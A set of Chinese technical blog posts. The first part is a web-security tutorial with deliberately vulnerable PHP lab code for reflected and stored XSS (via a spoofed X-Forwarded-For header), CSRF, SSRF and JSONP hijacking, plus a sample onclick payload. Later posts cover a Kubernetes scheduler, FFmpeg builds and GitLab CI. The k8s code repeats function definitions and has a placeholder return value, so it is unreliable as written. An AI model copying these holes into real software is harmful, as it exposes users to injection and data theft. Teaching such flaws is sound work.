  // 关闭浏览器的 XSS 检测机制
  header("X-XSS-Protection: 0;");

  $bg = $_GET['bg'];
  if (empty($bg)) {
    $bg = '999';
  }
  echo "<div style='width: 120px; height: 120px; background-color:#$bg'>我是一只小方块</div>";
?>

可以看到，这段代码将会获取 url 参数中的 bg 来获取背景颜色。乍一看，好像没什么问题。但是要知道其中 $bg 是可控的。那我们只需要把里面的标签闭合掉就行。见下面:

http://127.0.0.1:8082/?bg=123' onclick='alert(1)

上面的代码放在 bg 参数里，那代码就变成了

<div style=‘width: 120px; height: 120px; background-color:#123' onclick='alert(1)’>我是一只小方块</div>

Docker 靶场

存储型 XSS {#stored-xss}

在反射 XSS 的基础上，做了一步入库的操作

见下面的代码:

// 获取客户端的 IP 地址
// 此段代码来之: https://stackoverflow.com/questions/3003145/how-to-get-the-client-ip-address-in-php
$ipaddress = 'UNKNOWN';
$keys = array('HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'REMOTE_ADDR');
foreach($keys as $k) {
  if (isset($_SERVER[$k]) && !empty($_SERVER[$k])) {
    $ipaddress = $_SERVER[$k];
    break;
  }
}

// 获取内容，并对内容做编码过滤
$content = htmlspecialchars($_POST['content'], ENT_QUOTES);

$sql = "INSERT INTO xss.message (content, ip) VALUES ('$content', '$ipaddress')";
$conn->query($sql);

这段代码看起来是没有任何问题的，因为我们已经对 content 参数做了进一步的编码过滤。²

那即使我们写入了 HTML 标签等代码，也会被转码，假如我们提交的内容为 <script>alert(1)</script> 那在数据库的里表现就会变成: <script>alert(1)</script>

那难道没有办法绕过去么？答案当然是可以。

可以看到，这段代码不止把内容入库了，还把用户的 IP 也入库了。那问题就出现了，CLIENT-IP、X_FORWARDED_FOR 是用户可控的。只需要安装 ModHeader 这个浏览器插件即可如图:

修改后，再去重新提交一次，就会发现已经成功入库了，如图:

Docker 靶场

CSRF

CSRF 可以理解为是一种借刀杀人的手法，一般出现在表单提交里。最常见的是出现的开源项目里，比如各类 CMS。

<form method="post" action="addAdminUser.php">
  <div class="input-group">
    <label for="username">要添加的管理员账号: </label>
    <input type="input" name="username">
  </div>
  <div class="input-group">
    <label for="password">要添加的管理员密码: </label>
    <input type="password" name="password">
  </div>
  <div class="input-group">
    <button type="submit">添加</button>
  </div>
</form>

见上面代码，此代码存在于管理员后台里。用于添加管理员账号。并且 addAdminUser.php 里是有对当前用户的 Cookies 做了校验，非管理员账户不能添加。

但是这个表单里没有 验证码 、Token，以及 addAdminUser.php 里没有做 referer 来源校验。

就会出现 CSRF 漏洞。

因为浏览器发现你请求了某个资源后，会自动把你未过期的 Cookies 加入到请求头里。也就是说，即使是在其他网站里，发送了添加管理员的请求，会自动把你登陆后的 Cookies 加入到请求里，服务端会认为是你本人触发的（因为 Cookies 校验成功）

至于为什么这里 Cors 没有起到作用，是因为这种方式，请求后是拿不到任何返回信息的，所以 Cors 并不会拦截。如果你使用 Ajax 来请求，是肯定会被拦截掉，因为 Ajax 请求是可以拿到返回信息，所有会被 Cors 拦截掉。

那除了 form 标签，还有什么方法可以进行攻击呢？在 w3c cors 规范中，有这么一句话:

A simple cross-origin request has been defined as congruent with those which may be generated by currently deployed user agents that do not conform to this specification. Simple cross-origin requests generated outside this specification (such as cross-origin form submissions using GET or POST or cross-origin GET requests resulting from script elements) typically include user credentials, so resources conforming to this specification must always be prepared to expect simple cross-origin requests with credentials.

––详情可见 w3c cors

这里没有说的特别细，我补充了一下，大致意思是说，使用 GET 或 POST 进行表单提交时，亦或者使用一些 HTML 标签引起的 GET 请求，如: a、img 等，基本上都会携带用户凭据 (Cookies)

Docker 靶场

SSRF

SSRF 本质其实和 CSRF 相差不大。只是 CSRF 面向的是客户端的用户，而 SSRF 面向的是服务端本身。

这种漏洞一般出现于: 会访问并返回用户可控的资源的功能上。

例如: 在线查看网站源码、获取用户发链接的title、在线翻译网页 等

<script>
  // 根据 url 动态拼接 url
  function seeCode() {
    const url = document.getElementsByTagName('input')[0].value;
    location.href = location.origin + location.pathname + '?url=' + url
  }
</script>

<input type="text" placeholder="请输入要查看源代码的网站 URL"/>
<button onclick="seeCode()">查看</button>
<?php
  $url = $_GET['url'];
  if ("" == trim($url)) {
    return;
  }

  // 获取内容
  $websiteCode = file_get_contents($url);

  // 转码后存入 textarea 标签里
  echo "<textarea>".htmlspecialchars($websiteCode, ENT_QUOTES)."</textarea>";
?>

可以看到，这里没有对用户的输入做任何的过滤，导致用户可以直接输入 http://192.168.1.2 等 url，来访问内网资源，因为访问资源的是服务端本身，而服务端本身也是可以访问同局域网的资源的。

Docker 靶场

JSON Hijacking

JSON Hijacking 其实本质和 CSRF 原理一样³

这个攻击手法和 CSRF 最大的不同，就是 JSON Hijacking 在 CSRF 的基础上，又利用了 JSONP 的特性

<?php
  require 'utils.php';

  // 用户认证、并获取用户信息
  $result = getUserInfo();
  if (count($result) != 3) {
    echo "";
    exit();
  }

  $fnName = $_GET['callback'];
  if ("" == trim($fnName)) {
    echo "";
    exit();
  }

	// 输出为: getInfo({"name": name，"balance": balance });
  echo "$fnName({name: '$result[0]', balance: '$result[2]'})";
?>

<script>
  function getInfo(data) {
    console.log(data); // {"name": name, "balance": balance}
  }
</script>
<script src="./json.php?callback=getInfo"></script>

如果有恶意攻击者，写了一个页面，并且也在网页里加入了 <script src="http://xxx/json.php?callback=getInfo"></script>

根据上文提到的 w3c cors 规范中，如果用户事先已经登陆过了，再打开恶意攻击者发的链接，那么攻击者就可以获取一些本不应该获取的敏感信息。

Docker 靶场

DOM XSS 也属于 反射型 XSS，一般而言统称都叫 反射 XSS，只有当需要划分比较细时，才会分开来。 ↩
htmlspecialchars(string,ENT_QUOTES) 此方法的编码规则为: & 编码为 &、" 编码为 "、' 编码为 '、< 编码为 <、> 编码为 >。 ↩
这里的原理指的是，漏洞产生的原理一样，还是因为标签产生的请求，会携带用户凭证。 ↩

基于任务量进行 k8s 集群的灵活调度处理

bh@bugs.cc (Kevin Cui) — Tue, 20 Aug 2019 06:55:19 GMT

前言 {#intro}

最近公司内有个需求是为了进一步控制某个项目的 k8s 集群的资源，避免资源浪费。

目前项目需要的资源占用率很高，需要 3 核 CPU、2G 内存。在一开始的时候是没有做灵活调度处理的。会让 Pod 一直处于运行状态，即使没有任务的时候也会一直运行，虽然说可以通过 k8s 下 Resources 的 Requests 和 Limits 减少一点资源，但是还是会照成一定资源的浪费。

介绍 {#workflow}

在正文开始前，需要把流程介绍一下，方便后文的理解。

首先别的部门会往数据库里插入一条数据，然后在由调度器去定期的扫数据库，扫到一个新数据，则由调度器去调用 k8s 的 api 去创建一个 Job 资源，在 Job 里有一个 Pod，由 Pod 去做一些任务。然后结束。

看起来比较简单，但是有几个需要注意的地方:

由于 Pod 是需要环境变量的，而 Pod 是由调度器去创建的。那么这个时候就需要把变量一步步传进去
调度器不能去更改任何的数据，只能从数据库里拿，这是为了更好的解耦。不能让调度器去关心任何的业务逻辑及数据
调度器的本身不能存有任何的状态，因为一旦涉及到状态，就要去有个地方去存储它。因为要考虑到调度器本身重启。这样做只会带来更大的负担。
需要考虑当前的集群是否有资源再启动 Pod 了

开始 {#implementation}

调度器使用了 GoLang 进行开发，所以后文都将使用 Go 做为主力语言。

创建一个可调试的 k8s 环境 {#debug-env}

目前因为使用的是 Go 进行开发，所以使用了 k8s 官方的 client-go 这个库。而这个库本身就提供了一些创建 clientset 的方法¹

package main

import (
  "fmt"

  "k8s.io/client-go/kubernetes"
  "k8s.io/client-go/rest"
  "k8s.io/client-go/tools/clientcmd"
)

func main() {
  // 这个方法里包含了 k8s 自身对 Cluster 的配置操作
  kubeConfig, err := rest.InClusterConfig()

  if err != nil {
    // 如果是开发环境，则使用当前 minikube。需要配置 KUBECONFIG 变量
    // 如果是 minikube，KUBECONFIG 变量可以指向 $HOME/.kube/config
    kubeConfig, err = clientcmd.NewNonInteractiveDeferredLoadingClientConfig(
      clientcmd.NewDefaultClientConfigLoadingRules(),
      &clientcmd.ConfigOverrides{}).ClientConfig()

    // 如果没有配置 KUBECONFIG 变量，且当前也没有在集群里运行
    if err != nil {
      panic("get k8s config fail: " + err.Error())
    }
  }

  // 创建 clientset 失败
  clientset, err := kubernetes.NewForConfig(kubeConfig)
  if err != nil {
    panic("failed to create k8s clientset: " + err.Error())
  }

  // 创建成功
  fmt.Println(clientset)
}

其中 rest.InClusterConfig() 代码也十分简单，就是去当前机器下的 /var/run/secrets/kubernetes.io/serviceaccount/ 读取 token 和 ca。以及读取 KUBERNETES_SERVICE_HOST 和 KUBERNETES_SERVICE_PORT 环境变量，再把他们拼在一起，感兴趣的同学可以去看下源码。

根据上文可以知道 rest.InClusterConfig() 是针对以及身在集群中的机器而言的。在本地开发环境是肯定不行的。所以我们需要另一个方法去解决这个问题。

可以看到上面我已经做了处理，当发现 InClusterConfig 失败后，会转而执行下面的代码:

kubeConfig, err = clientcmd.NewNonInteractiveDeferredLoadingClientConfig(
  clientcmd.NewDefaultClientConfigLoadingRules(),
  &clientcmd.ConfigOverrides{}).ClientConfig()

这段代码其实也比较简单，就是去读取当前环境下的 KUBECONFIG 获取本地 k8s 的配置路径。如果没有这个变量，再去获取当前用户目录下的 .kube/config 文件。最终根据文件改造成所需要的配置。主要源码可见: NewDefaultClientConfigLoadingRules、ClientConfig

现在只要保证你本机有 minikube 环境就可以正常调试、开发了。²

创建 Job 及 Pod {#create-job-pod}

数据库查询的这里就不再阐述了，可以根据自身的业务进行适配、开发。这里只是起到一个抛砖引玉的效果。不止是数据库，其他任何东西都可以，主要还是要看自身的业务适合什么。

我们先假设，这里从数据库里拿到了一条数据，我们需要把数据库的值传给 Pod。避免 Pod 里再做一次查询。现在我们需要先把 Job 定义好:

import (
  batchv1 "k8s.io/api/batch/v1"
  apiv1 "k8s.io/api/core/v1"
  "k8s.io/apimachinery/pkg/api/resource"
  metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"
)

// job 所需配置
type JobsSpec struct {
  Namespace string
  Image     string
  Prefix    string
}

// 返回指定的 cpu、memory 资源值
// 写法参考 k8s 见: https://github.com/kubernetes/kubernetes/blob/b3875556b0edf3b5eaea32c69678edcf4117d316/pkg/kubelet/cm/helpers_linux_test.go#L36-L53
func getResourceList(cpu, memory string) apiv1.ResourceList {
  res := apiv1.ResourceList{}
  if cpu != "" {
    res[apiv1.ResourceCPU] = resource.MustParse(cpu)
  }
  if memory != "" {
    res[apiv1.ResourceMemory] = resource.MustParse(memory)
  }
  return res
}

// 返回 ResourceRequirements 对象，详细见 getResourceList 函数注释
func getResourceRequirements(requests, limits apiv1.ResourceList) apiv1.ResourceRequirements {
  res := apiv1.ResourceRequirements{}
  res.Requests = requests
  res.Limits = limits
  return res
}

// 转为指针
func newInt64(i int64) *int64 {
  return &i
}

// 创建 job 的配置
// 返回指定的 cpu、memory 资源值
// 写法参考 k8s 见: https://github.com/kubernetes/kubernetes/blob/b3875556b0edf3b5eaea32c69678edcf4117d316/pkg/kubelet/cm/helpers_linux_test.go#L36-L53
func getResourceList(cpu, memory string) apiv1.ResourceList {
  res := apiv1.ResourceList{}
  if cpu != "" {
    res[apiv1.ResourceCPU] = resource.MustParse(cpu)
  }
  if memory != "" {
    res[apiv1.ResourceMemory] = resource.MustParse(memory)
  }
  return res
}

// 返回 ResourceRequirements 对象，详细见 getResourceList 函数注释
func getResourceRequirements(requests, limits apiv1.ResourceList) apiv1.ResourceRequirements {
  res := apiv1.ResourceRequirements{}
  res.Requests = requests
  res.Limits = limits
  return res
}

// job 所需配置
type jobsSpec struct {
  Namespace string
  Image     string
  Prefix    string
}

// 创建 job 的配置
func (j *jobsSpec) Create(envMap map[string]string) *batchv1.Job {
  u2 := uuid.NewV4().String()[:8]
  name := fmt.Sprint(j.Prefix, "-", u2)

  return &batchv1.Job{
    ObjectMeta: metav1.ObjectMeta{
      Name:      name,
      Namespace: j.Namespace,
    },
    Spec: batchv1.JobSpec{
      Template: apiv1.PodTemplateSpec{
        Spec: apiv1.PodSpec{
          RestartPolicy: "Never",
          Containers: []apiv1.Container{
            {
              Name:            name,
              Image:           j.Image,
              Env:             EnvToVars(envMap),
              ImagePullPolicy: "Always",
              Resources:       getResourceRequirements(getResourceList("2500m", "2048Mi"), getResourceList("3000m", "2048Mi")),
            },
          },
        },
      },
    },
  }
}

这里没什么好说的，基本就是资源定义，以及上门还有注释。

上面的代码其实少了一部分，这部分是把变量注入进去的。也就是 EnvToVars，核心代码如下:

// 把对象转化成 k8s 所能接受的环境变量格式
func EnvToVars(envMap map[string]string) []v1.EnvVar {
  var envVars []v1.EnvVar
  for k, v := range envMap {
    envVar := v1.EnvVar{
      Name:  k,
      Value: v,
    }
    envVars = append(envVars, envVar)
  }
  return envVars
}

// 获取当前系统中所有的变量，并转成 map 方式
func GetAllEnvToMap() map[string]string {
  item := make(map[string]string)
  for _, k := range os.Environ() {
    splits := strings.Split(k, "=")
    item[splits[0]] = splits[1]
  }

  return item
}

// 合并两个 map，为了更好的性能，使用闭包的方式，这样 sourceMap 只需要调用一次即可
func MergeMap(sourceMap map[string]string) func(insertMap map[string]string) map[string]string {
  return func(insertMap map[string]string) map[string]string {
    for k, v := range insertMap {
      sourceMap[k] = v
    }

    return sourceMap
  }
}

然后在使用的时候就是这样了:

job := jobsSpec{
  Prefix:    "project-" + "dev" + "-job",
  Image:     "docker image name",
  Namespace: "default",
}

willMergeMap := MergeMap(GetAllEnvToMap())

// dbData 是从数据库里拿到的数据，格式大致如下
// [ { id: 1, url: 'xxx' }, { id: 2, url: 'yyy' } ]
for _, data := range dbData {
  currentEnvMap := willMergeMap(data)

  // 创建 Job
  _, err = api.CreateJob(currentEnvMap)

  if err != nil {
    panic("create job fail", err.Error())
  }
}

这样一来，就实现了把当前环境变量及数据通过变量的方式传给 Pod。这样的话，只需要保证当前的调度器里存在一些 Pod 可能会用到的变量就行了，如: S3 Token、DB Host 等。通过这种方式，Pod 基本上什么都不用关系，它所需要的变量，会由调度器传给它，分工明确。

优化 {#optimization}

其实以上其实就已经完成了最核心的东西，本身也不是特别的难。很简单的逻辑。只不过光有这些是不够的，还有很多地方需要考虑。

资源判断 {#resource-check}

这里在说之前有个前提，之前说过这个调度器是不能去更改任何数据的，更改数据只能由 Pod 里的容器去更改。

那么这个时候就有问题了。

集群如果资源不够分配的话，那 Pod 将会一直处于 Pending 状态，根据上文，变量已经注入到 Pod 里了，而且由于里面的容器没有启动。那就会导致数据没有更改，而没有更改的数据，调度器就会一直认为他的新的。导致会为这条数据再启动一个 Job，一直循环到当集群资源足够后其中的一个 Pod 去更改了数据。

举个例子，假设数据库里有一个 status 的字段，当值为 wating 时，调度器就认为这是一条新数据，会把这个数据转变成环境变量注入到 Pod 里，再由 Pod 去把 waiting 更改成 process。调度器每 3 分钟去扫一次数据，所以 Pod 必须在 3 分钟内把数据更改完毕。

而这时由于资源不够，k8s 创建了这个 Pod，但是里面的代码没有运行，导致没有去更改数据，就会导致调度器一直去为同一条数据创建 Pod。

解决方案也比较简单，只要去判断下 Pod 的状态是否为 Pending，如果是，则不再创建 Pod。下面是核心代码:

func HavePendingPod() (bool, error) {
  // 获取当前 namespace 下所有的 pod
  pods, err := clientset.CoreV1().Pods(Namespace).List(metaV1.ListOptions{})
  if err != nil {
    return false, err
  }

  // 循环 pod，判断每个 pod 是否符合当前的前缀，如果符合，则说明当前的环境已经存在 Pending 状态了
  for _, v := range pods.Items {
    phase := v.Status.Phase
    if phase == "Pending" {
      if strings.HasPrefix(v.Name, Prefix) {
        return true, nil
      }
    }
  }

  return false, nil
}

当为 true 时，就不再创建 Job

Job 数量最大值 {#max-jobs}

集群的资源也不是无限的，虽然我们对 Pending 情况做了处理，但是这只是一种防御手段。我们还是要对数量进行一个管控，当 Job 数量等于某个值时，不在创建 Job 了。代码也很简单，我这里就把获取当前环境下 Job 数量的代码放出来:

// 获取当前 namespace 下同环境的 job Item 实例
func GetJobListByNS() ([]v1.Job, error) {
  var jobList, err = clientset.BatchV1().Jobs(Namespace).List(metaV1.ListOptions{})
    if err != nil {
    return nil, err
  }

  // 过滤非同前缀的 Job
  var item []v1.Job
  for _, v := range jobList.Items {
    if strings.HasPrefix(v.Name, Prefix) {
      item = append(item, v)
    }
  }

  return item, nil
}

func GetJobLenByNS() (int, error) {
  jobItem, err := api.GetJobListByNS()
  if err != nil {
      return 最大值, err
  }

  return len(jobItem), nil
}

删除已完成和失败的 {#delete-finished-jobs}

上面的代码其实是有问题的，k8s 的 Job 资源类型是有一个特性是，当完成或者失败的时候，并不会删除自身，也就说即使他完成了，它的数据还会一直停留在那。所以上面的代码会把一些已经完成或者失败的 Job 也统计进去。到最后会出现一直无法创建 Job 的窘迫。

解决方案有两个，第一个是在声明 Job 资源时，添加 spec.ttlSecondsAfterFinished 属性来做到 k8s 自动回收完成、失败的 Job。可惜的是这是高版本才有的属性，我司很遗憾是低版本的。那就只能用第二种方法了，就是在每次获取数量前，调用 api 把完成、失败的 Job 删除:

func DeleteCompleteJob() error {
  jobItem, err := GetJobListByNS()
  if err != nil {
    return err
  }

  // 如果不指定此属性，删除 job 时，不会删除 pod
  propagationPolicy := metaV1.DeletePropagationForeground
  for _, v := range jobItem {
    // 只删除已经结束的 job
    if v.Status.Failed == 1 || v.Status.Succeeded == 1 {
      err := clientset.BatchV1().Jobs(Namespace).Delete(v.Name, &metaV1.DeleteOptions{
        PropagationPolicy: &propagationPolicy,
      })

      if err != nil {
        return err
      }
    }
  }

  return nil
}

结尾 {#conclusion}

整个调度器的代码比较简单，没有必要专门抽成一个库来做。只要知道大概的思路，就可以根据自己的项目需求做出适合自己项目组的调度器。

感谢我司大佬 @qqshfox 提供的思路

可以把 clientset 理解成一个可以和当前集群 master 通信的管道。 ↩
以上的方法参考 rook 的写法。 ↩

('b' + 'a' + + 'a' + 'a').toLowerCase() 输出 banana 的剖析

bh@bugs.cc (Kevin Cui) — Thu, 15 Aug 2019 10:35:26 GMT

前言 {#intro}

今天逛微博的时候看到有个博主发的一个问题，代码如下:

('b' + 'a' + + 'a' + 'a').toLowerCase()
// "banana"

当时第一反应是 JavaScript 会报错，但是并没有。然后就来了兴趣

剖析 {#analysis}

后来仔细一想，估计和 JavaScript 运算符优先级、隐式转化有关系。

于是先去 MDN 查了一下 JavaScript 运算符优先级

我先把上面代码用到的运算符和优先级列举出来:

优先级	运算类型	关联性	运算符
20	圆括号	n/a	`(...)`
16	一元正号	从右至左	`+ ...`
13	加法	从左至右	`... + ...`

OK，了解了上面的运算符后，我们现在来拆分下上面的代码

首先把 toLowerCase 去掉，这个函数没啥用，只是起到一个迷惑的作用。

'b' + 'a' + + 'a' + 'a'
// to
'b' + 'a' + (+ 'a') + 'a'

这就是主要的，因为一元正号的优先级是比加法高的，所以这里用括号标注一下。

现在我们来看下一元正号的说明:

一元正号运算符位于其操作数前面，计算其操作数的数值，如果操作数不是一个数值，会尝试将其转换成一个数值。尽管一元负号也能转换非数值类型，但是一元正号是转换其他对象到数值的最快方法，也是最推荐的做法，因为它不会对数值执行任何多余操作。它可以将字符串转换成整数和浮点数形式，也可以转换非字符串值 true，false 和 null。小数和十六进制格式字符串也可以转换成数值。负数形式字符串也可以转换成数值（对于十六进制不适用）。如果它不能解析一个值，则计算结果为 NaN。

注意看上面的这段话: 如果操作数不是一个数值，会尝试将其转换成一个数值和 如果它不能解析一个值，则计算结果为 NaN

那上面代码的 + 'a' 就是会变成 NaN，过程如下:

'b' + 'a' + (+ 'a') + 'a'
// to
'b' + 'a' + Number('a') + 'a'
// to
'b' + 'a' + NaN + 'a'

是不是清晰很多了，然后又涉及到了隐式转化，加号在 JavaScript 规则里有一条是，当操作符有一个是字符串类型时，另一个也要转成字符串类型。也就是说 NaN 要进行 toString。那 NaN 在执行是什么呢？在 ECMA-262 中有说明，如图:

也就是说 NaN 会转成 "NaN"。所以上面的代码就变成了这样:

'b' + 'a' + NaN + 'a'
// to
'b' + 'a' + "NaN" + 'a'

最终在调用 toLowerCase 函数转成小写，就变成了 banana

从 fdk_aac 编码器到自动静态编译 FFmpeg

bh@bugs.cc (Kevin Cui) — Mon, 15 Jul 2019 02:20:57 GMT

前言 {#intro}

最近在公司做一些视频处理的 task，遇到了一个需求，是把 MP4 视频里的音频提取成 AAC 格式。

当时的第一感觉就是很简单，直接使用 ffmpeg -i source.mp4 -vn -acodec copy sound.aac 就好。

但是发现这样是有问题的，其最终 AAC 的 duration 和 MP4 的 duration 完全不一样。如图:

网上的方法也都试了，但是都无法解决这个问题。

分析 / 解决 {#analysis}

后来经过测试，发现不同的比特率 (bit rate)，最终的生成的 AAC Duration 是不一样的。

但是我怎么知道这个比特率的值是多少呢？所以我从头缕了一下。

首先 MP4 的视频文件我们是从 Webm 格式转过来的，而 Webm 视频我们又是基于 MediaRecorder 来的。

我又重新看了一下 MediaRecorder API，发现其中有这样的属性:

audioBitsPerSecond: 指定音频的比特率

OK 找到了，改了代码，对 MediaRecorder 接口增了 audioBitsPerSecond 属性，值设置了 128000，也就是 128K

然后使用下面的命令转化下，看看结果:

ffmpeg -i source.mp4 -vn -acodec aac -b:a 128k -y sound.aac

发现情况并没有得到改善…

后来想了一下，会不会是因为虽然使用了恒定比特率，但是还是会有一定的浮动，于是我把 128k 改为 200k 尝试下:

不仅没解决，反而又增加了 duration

在接近放弃的时候，rurico 提供了一个思路，让我尝试下 libfdk_aac 编码器。于是经过重新编译 FFmpeg 来安装 libfdk_aac 编码器 (FFmpeg 安装额外编码器需要重新编译)。

成功了…

静态编译 FFmpeg / 自动化 {#static-build}

但是这只是在 MAC 上成功，我需要让其在 Ubuntu 上跑起来，但是一想到，在 Ubuntu Docker 上编译整个 FFmpeg 就头皮发麻。（我花了 4 个小时的时间去尝试在 Ubuntu 上编译带有 libfdk_aac 的 FFmpeg，最终失败告终。）

下班回家后吃完饭后，又在网上重新查了下 ubuntu build ffmpeg，发现了静态编译的字样。茅塞顿开

于是在网上搜了下有没有现成的静态编译好的 FFmpeg，发现有是有，但是因为 libfdk_aac 的 LICENSE 规定，普遍都没有把 libfdk_aac 编译进去。

于是在 github 上找到一个开源的 FFmpeg 静态编译项目: ffmpeg-static

经过测试发现没问题，但是因为在国内，每次下载、安装、编译都很慢，于是想到 gitlab 有免费的 runner 可以使用。于是在 gitlab 建了一个项目，用于自动编译。

只需要在项目里加上 .gitlab-ci.yml 就好:

image: ubuntu:18.04

stages:
  - build

build-ubuntu:
  stage: build
  script:
    - apt-get update
    - apt-get install -yq bzip2 xz-utils perl tar wget git bc
    - apt-get install -yq autoconf automake build-essential cmake curl frei0r-plugins-dev gawk libfontconfig-dev libfreetype6-dev libopencore-amrnb-dev libopencore-amrwb-dev libsdl2-dev libspeex-dev libtheora-dev libtool libva-dev libvdpau-dev libvo-amrwbenc-dev libvorbis-dev libwebp-dev libxcb1-dev libxcb-shm0-dev libxcb-xfixes0-dev libxvidcore-dev lsb-release pkg-config texi2html yasm
    - git clone https://github.com/BlackHole1/ffmpeg-static
    - cd ffmpeg-static
    - chmod 777 *
    - ./build-ubuntu.sh -B
  artifacts:
    name: build
    paths:
      - ./ffmpeg-static/bin/*

然后 push 到 gitlab，自动触发 ci。半个小时后，得到结果:

gitlab project: https://gitlab.com/BlackHole1/ffmpeg-static-build

Gitlab Runner 服务注册及任务捕获原理

bh@bugs.cc (Kevin Cui) — Sat, 06 Jul 2019 08:12:58 GMT

环境搭建 {#setup}

可以参考 https://docs.gitlab.com/runner/development/README.html 来进行搭建，这里需要注意的是，go version 最好为 go1.8.7，高版本的 go version，可能会安装失败。

参数注册 {#command-registration}

gitlab-runner 在注册 runner 时，需要用到 registry、install、start 这三个命令。而其实 install 和 start 只是服务注册的

在 main.go 文件的入口处，其调用了 common.GetCommands()

而这个函数是为了注册参数的，其核心代码为:

Name 为我们要注册的参数，Action 为调用参数后调用的方法。

在注册方法时，只需要使用 RegisterCommand2(参数名, 说明, 动作函数类) 即可。

registry

在 commands/registry.go 里有一个 init 函数，注册了 registry

newRegisterCommand 函数肯定返回了 Execute 函数，也就是触发 registry 的动作函数。

这里返回了一个 RegisterCommand 类，而这个类下实现了 Execute 方法。

其中 s.askRunner() 就是我们输入命令后，出现的各种询问，如: gitlab-ci URL、token、description、tags。

在 askRunner 函数里，当你输入完成后，有一步校验的操作，检验你输入的只是否真的可以连接到 gitlab-ci 上。

这些都没什么好说的。在 askRunner 函数后，还 askExecutor、askExecutorOptions 函数。这两个函数的作用是询问你要选择哪种执行者，也就是我们见到的 Please enter the executor: docker+machine, docker, docker-ssh, shell, docker-ssh+machine, kubernetes, parallels, ssh, virtualbox:

当你全部输入完成后，会把你输入值，保存在 ~/.gitlab-runner/config.toml 文件里。

其实到这步的时候，整个 gitlab-ci 就已经配置好了，install、start 的作用下面再说

install/start

当你注册完成后，再使用 install 进行安装时，其实安装的是 gitlab-ci 服务。

我们看下 commands/service.go 文件的内容:

可以看到其他的参数基本都是在这里进行注册，其他的我们暂时不看，专注看下 install、start

其中这两个参数的行为都是 RunServiceControl 函数，这个函数的代码也十分简单

其中 install 比较特别，单独调用了 runServiceInstall 函数，这个函数的作用就是为了检查 config.toml 以及当前用户的代码，没啥好说的，最后也调用了 service.Control(s, c.Command.Name) 方法。这个方法是 github.com/ayufan/golang-kardianos-service 库，这个库是一个注册服务的库，也就说当你使用 gitlab-runner install 的时候，其实是在注册服务，服务的作用是保证 gitlab-runner 一直在后台运行以及开机运行。

当服务注册好后，再通过 gitlab-runner start 打开服务¹

当我们调用 service.Control(s, 'start') 时，其实会执行 s.Start() 方法，而这个方法其实就是开启服务的，而打开服务时，也需要一个命令行，因为要告诉系统我执行的什么的命令是服务。其代码为:

我们看到 Arguments 是一个数组，且第一个元素是 run，后面的代码也都是 run 的参数了。

现在可以确定，当我们使用 gitlab-runner start 时，其内部调用了 run 当做服务的命令。我们来看下 Run 的代码

其中 mr.feedRunners(runners) 函数只是做心跳检测的，没什么可说的。

而 mr.startWorkers(startWorker, stopWorker, runners) 才是主要的，这个函数经过 5~6 次的调用，最终调用了一个 RequestJob 函数，这个才是重头戏

可以看到这里是发请求询问 gitlab-runner 有没有新的任务，如果有则返回 resqonse

而这个函数的调用链，有一个方法是一直在循环这个函数，从而实现了轮询²

最终的结果，就是 gitlab-runner 启动后，一直在轮询给 gitlab 发请求，问它有没有新的任务。

这里其实可以集成到 install 里，但是不知道为什么 gitlab 官网没有这么做。 ↩
我之前一直以为是通过 websocket 来做，没想到是轮询来实现的，可能是为了兼容性？ ↩

基于 Gitlab CI 的上线时间校验

bh@bugs.cc (Kevin Cui) — Sat, 06 Jul 2019 08:10:32 GMT

前提 {#background}

目前公司在很多项目在上线时，都明确要求了，周四、周五上线 production 环境需要发邮件申请，周六、周日不允许上线，周一至周三每天下午 5 点到晚上 9 点不允许上线。

之所以这么要求，是因为减少在人员不齐情况下上线带来的风险。

而这种规范，只能由公司各个项目组之间的自觉，但是这种自觉其实是一种不可靠因素。我个人感觉还是需要一套约束，来降低这种不可靠因素。

目标 {#goal}

前提确定好后，那就需要一个目标了。也就说，在某些分支上的某些时间点是不允许让 CI 进行自动构建的。

一开始，我的想法是通过 git hook 来实现，但是后来给否决了，原因为:

pre-commit 只是针对当前 commit 的时间点，并不是 push 的时间点
pre-push 虽说可以做到，但是问题在于，可以通过 --no-verify 来跳过钩子，而且这种跳过是下发到组内每个成员的。
对 merge 无能为力，网上的方案都是通过 prepare-commit-msg 来判断当前 commit 是否存在 Merge 字符串，不可靠

理想情况下，组员是没有任何权限去控制这一块的，也就是说无法被绕过，git hook 的方式都是在组员本地，也存在了各种被绕过的风险。

那既然无法在本地校验来达到目标，那就只能把目标放在 gitlab-ci 这一块了。

正文 {#implementation}

这里有个前提，一个小组内，只能有部分人具有 CI 的控制权。并且一定有 code review。只有具备以上两点才能进行下一步。

通过在 CI Variables 来增加以下两个变量:

NOT_SUPPORT_HOUR 17,18,19,20,21
NOT_SUPPORT_WEEK 4,5,6,0

这个变量就应对上上面所说的只能有部分人具有 CI 控制权

然后在 .gitlab-ci.yml 里增加一个 check_deploy stages，以及增加相关的 pip

stages:
 - check_deploy
check_time:
  image: busybox
  stage: check_deploy
  script:
    - export TZ=UTC-8
    - export CURRENT_WEEK=$(date '+%w')
    - export CURRENT_HOUR=$(date '+%H')
    - if [ $(echo $NOT_SUPPORT_HOUR | grep "${CURRENT_HOUR}") ]; then exit 126; fi;
    - if [ $(echo $NOT_SUPPORT_WEEK | grep "${CURRENT_WEEK}") ]; then exit 126; fi;
  only:
    - master

通过启动一个 busybox 容器，来对当前时间以及不允许时间段进行一个比较，当当前时间点在不允许时间端内，则抛出错误码 126。且只对上线分支有效（这里为 master 分支）

这个也对应上了，之前所说的一定有 code review

其实这个方法也有缺陷，那就是是刚刚所说的两个前提，以及不应该把这种限制下发到小组单位，理想的情况下各个小组都是没有权限进行控制的，正在的控制权应该上升到更高一层，但是目前还想不到好的方式让更高一层介入进来。所以目前只能通过这种方式来做到上线控制。

Webm 进度条问题分析与解决

bh@bugs.cc (Kevin Cui) — Tue, 21 May 2019 07:30:21 GMT

介绍 {#intro}

当我们使用 getUserMedia、MediaRecorder 等 API 生成的 webm 视频时，会发现最终的 webm 是无法拖动进度条的。除非使用 FFmpeg 把 webm 转成其他格式的视频文件，或者等 webm 视频播放完后，就可以拖动了。

分析 {#analysis}

经过几个小时的排查，发现并不是 MediaRecorder 使用有问题，因为在网上找的其他 demo 生成的 webm 也都不行。

一开始把分析点放在了进度条那里，结果在网上没有搜到任何相关文章，尝试了各种关键词都不行。

后来想到，可以使用 FFmpeg 来对视频文件进行分析。于是使用 ffprobe rebirth-demo.webm 命令进行分析:

$ ffprobe rebirth-demo.webm
ffprobe version 4.1.3 Copyright (c) 2007-2019 the FFmpeg developers
